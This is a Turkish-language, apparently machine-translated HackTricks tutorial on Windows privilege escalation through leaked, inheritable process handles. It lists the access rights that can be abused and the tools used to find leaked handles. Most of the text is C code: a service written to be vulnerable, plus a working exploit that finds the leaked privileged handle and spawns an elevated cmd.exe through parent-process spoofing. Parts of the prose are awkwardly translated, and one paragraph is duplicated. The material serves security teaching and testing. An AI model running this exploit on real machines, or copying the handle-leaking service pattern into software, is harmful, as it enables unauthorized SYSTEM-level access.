Hacking püf noktalarınızı paylaşarak PR'ler göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Giriş
Bir işlemdeki kulp, farklı Windows kaynaklarına erişmeyi sağlar:
Daha önce birkaç yetki yükseltme durumunda, açık ve miras alınabilir kulp'lere sahip yetkili bir işlem, bir yetkisiz işlemi çalıştırarak tüm bu kulp'lere erişim sağlamıştır.
Örneğin, SİSTEM olarak çalışan bir işlem, OpenProcess() ile tam erişime sahip yeni bir işlem açar. Aynı işlem aynı zamanda düşük ayrıcalıklara sahip ancak ana işlemin tüm açık kulp'lerini miras alan yeni bir işlem oluşturur.
Sonra, düşük ayrıcalıklı işleme tam erişiminiz varsa, OpenProcess() ile oluşturulan yetkili işleme açık kulp'ü yakalayabilir ve bir shellcode enjekte edebilirsiniz.
İlginç Kulp'ler
İşlem
Başlangıçtaki örnekte okuduğunuz gibi, bir yetkisiz işlem, yeterli izinlere sahip bir yetkili işlemin işlem kulp'ünü miras alırsa, üzerinde keyfi kod çalıştırabilir.
Bu mükemmel makalede, aşağıdaki izinlerden herhangi birine sahip olan herhangi bir işlem kulp'ünü nasıl sömüreceğinizi görebilirsiniz:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
İş Parçacığı
İşlem kulp'leri gibi, bir yetkisiz işlem, yeterli izinlere sahip bir yetkili işlemin iş parçacığı kulp'ünü miras alırsa, üzerinde keyfi kod çalıştırabilir.
Bu mükemmel makalede, aşağıdaki izinlerden herhangi birine sahip olan herhangi bir işlem kulp'ünü nasıl sömüreceğinizi de görebilirsiniz:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Dosya, Anahtar ve Bölüm Kulp'leri
Bir yetkisiz işlem, yazma eşdeğer izinlere sahip bir kulp'ü miras alırsa, aşağıdaki dosya veya kayıt defteri üzerinde yazma eşdeğer izinlere sahip olacak ve dosya/kayıt defterini üzerine yazabilecektir (ve çok şanslıysa, yetkili ayrıcalıkları yükseltebilir).
Bölüm Kulp'leri, dosya kulp'lerine benzerdir, bu tür nesnelerin ortak adı "Dosya Eşlemesi"dir. Bellekte tüm dosyayı tutmadan büyük dosyalarla çalışmak için kullanılırlar. Bu, sömürünün bir Dosya Kulp'ünün sömürüsüne "benzer" hale getirir.
İşlemlerin kulp'lerini nasıl görebilirsiniz
Process Hacker
Ücretsiz olarak indirebileceğiniz bir araç olan Process Hacker, işlemleri incelemek için harika seçeneklere sahiptir ve bunlardan biri her işlemin kulp'lerini görebilme yeteneğidir.
Tüm işlemlerin kulp'lerini görmek için SeDebugPrivilege'a ihtiyaç duyulduğunu unutmayın (bu nedenle Process Hacker'ı yönetici olarak çalıştırmanız gerekir).
Bir işlemin kulp'lerini görmek için işleme sağ tıklayın ve Kulp'leri seçin:
Daha sonra kulp üzerine sağ tıklayarak izinleri kontrol edebilirsiniz:
Sysinternals Handles
Sysinternals'ten Handlesbinary'si aynı zamanda kulp'leri konsolda işlem bazında listeleyecektir:
LeakedHandlesFinder
Bu araç, sızdırılan kulp'leri izlemenize ve hatta açıkları otomatik olarak sömürmenize olanak tanır.
Metodoloji
Artık işlemlerin kulp'lerini nasıl bulacağınızı bildiğinize göre kontrol etmeniz gereken şey, herhangi bir yetkisiz işlemin yetkili kulp'lere erişiminin olup olmadığıdır. Bu durumda, işlemin kullanıcısı, kulp'u elde edebilir ve ayrıcalıkları yükseltmek için kötüye kullanabilir.
Tüm kulp'lere erişmek için SeDebugPrivilege'a ihtiyacınız olduğu belirtilmişti. Ancak bir kullanıcı işlemlerinin kulp'lerine hala erişebilir, bu nedenle kullanıcıdan yalnızca bu kullanıcıyla ayrıcalıkları yükseltmek istiyorsanız araçları kullanıcı düzenli izinlerle çalıştırmak yararlı olabilir.
Örneğin, aşağıdaki kod bir Windows servisine ait olabilir ve zayıf olabilir. Bu servis ikili dosyanın zayıf kodu Exploit fonksiyonu içinde bulunmaktadır. Bu fonksiyon tam erişimle yeni bir işlem tutamağı oluşturmaya başlar. Daha sonra, explorer.exe'nin düşük ayrıcalıklı belirtecini kopyalayarak C:\users\username\desktop\client.exe dosyasını çalıştıran düşük ayrıcalıklı bir işlem oluşturur. Zafiyet, düşük ayrıcalıklı işlemi bInheritHandles olarak TRUE olarak oluşturmasıdır.
Bu nedenle, bu düşük ayrıcalıklı işlem, önce oluşturulan yüksek ayrıcalıklı işlemin tutamağını alabilir ve bir kabuk kodunu enjekte edip çalıştırabilir (bkz. sonraki bölüm).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Sızma Örneği 1
Gerçek bir senaryoda muhtemelen uygulanacak ikili dosyayı kontrol edemeyeceksiniz (bu durumda C:\kullanıcılar\kullanıcıadı\masaüstü\istemci.exe). Muhtemelen bir işlemi ele geçirecek ve herhangi bir ayrıcalıklı işlemin erişilebilir bir tutamacına erişip erişemeyeceğinizi kontrol etmeniz gerekecek.
Bu örnekte, C:\kullanıcılar\kullanıcıadı\masaüstü\istemci.exe için olası bir sızma için kodu bulabilirsiniz.
Bu kodun en ilginç kısmı GetVulnProcHandle fonksiyonunda bulunmaktadır. Bu fonksiyon tüm tutamakları almaya başlayacak, ardından bu tutamağın aynı PID'ye ait olup olmadığını kontrol edecek ve tutamağın bir işleme ait olup olmadığını kontrol edecek. Tüm bu gereksinimler karşılanırsa (erişilebilir bir açık işlem tutamacı bulunursa), işlemin tutamacını kötüye kullanarak bir shellcode enjekte etmeye ve yürütmeye çalışacaktır.
Shellcode'un enjeksiyonu Inject fonksiyonu içinde yapılır ve sadece shellcode'u ayrıcalıklı işlemin içine yazacak ve aynı işlem içinde bir iş parçacığı oluşturacaktır).
Gerçek bir senaryoda muhtemelen uygulanabilir kodu kontrol edemeyeceksiniz (bu durumda C:\kullanıcılar\kullanıcıadı\masaüstü\istemci.exe). Muhtemelen bir işlemi ele geçirecek ve herhangi bir ayrıcalıklı işlemin erişebilirliğini kontrol etmeniz gerekecek.
Bu örnekte, açık tutulan kolu kötüye kullanmak yerine ve bir shellcode enjekte etmek için kullanmak yerine, açık tutulan işlem kolu sürecinin belirteci kullanılarak yeni bir tane oluşturulacak. Bu, 138 ile 148 arasındaki satırlarda yapılır.
UpdateProcThreadAttribute fonksiyonunun nasıl kullanıldığına dikkat edin ve PROC_THREAD_ATTRIBUTE_PARENT_PROCESS özniteliği ve açık ayrıcalıklı işlem kolu tutamacı ile. Bu, oluşturulan işlemi yürüten _cmd.exe_** iş parçacığının açık tutulan işlemle aynı belirteç ayrıcalığına sahip olacağı anlamına gelir**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Bu araç, sızdırılmış kolları izlemenize ve savunmasız olanları bulmanıza hatta otomatik olarak bunları sömürmenize olanak tanır. Ayrıca bir kolu sızdırmak için bir araca sahiptir.